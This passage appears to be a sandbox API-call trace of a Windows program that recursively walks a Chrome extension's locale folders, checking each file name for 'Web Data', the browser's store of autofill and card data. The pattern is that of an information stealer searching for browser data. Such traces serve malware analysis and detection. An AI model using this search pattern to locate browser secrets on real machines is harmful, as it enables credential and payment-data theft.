(lpString1="..", lpString2="et") returned -1 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.134] lstrlenA (lpString="\\") returned 1 [0056.134] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.134] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.134] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.134] lstrlenA (lpString="et") returned 2 [0056.134] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.134] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.134] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0056.134] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0056.134] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0056.134] lstrlenA (lpString="\\*.*") returned 4 [0056.134] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.134] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0056.134] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0056.134] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.135] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.135] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.135] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.135] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.135] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.135] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.135] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.135] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.135] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.135] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.135] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.136] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.136] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.136] lstrlenA (lpString="\\") returned 1 [0056.136] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.136] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.136] lstrlenA (lpString="fi") returned 2 [0056.136] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.136] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0056.136] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0056.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0056.136] lstrlenA (lpString="\\*.*") returned 4 [0056.136] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.136] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0056.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0056.136] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.137] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.137] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.137] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.137] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.137] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.137] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.137] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.137] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.137] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.137] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.137] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.137] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.137] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.137] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.137] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.137] lstrlenA (lpString="\\") returned 1 [0056.137] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.137] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.138] lstrlenA (lpString="fil") returned 3 [0056.138] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dc5b8 [0056.138] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0056.138] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0056.138] lstrlenA (lpString="\\*.*") returned 4 [0056.138] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dc6c8 [0056.138] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0056.138] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.138] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.138] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.138] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.138] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.138] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.138] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.138] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.138] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.138] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.138] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.138] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.138] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.138] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.138] lstrlenA (lpString="\\") returned 1 [0056.138] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.138] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.138] lstrlenA (lpString="fr") returned 2 [0056.138] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.138] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0056.138] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0056.138] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0056.138] lstrlenA (lpString="\\*.*") returned 4 [0056.138] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.138] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0056.138] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0056.138] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.139] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.139] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.139] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.139] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.139] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.139] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.139] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.139] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.139] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.139] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.139] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.139] lstrlenA (lpString="\\") returned 1 [0056.139] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.139] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.139] lstrcatA (in: 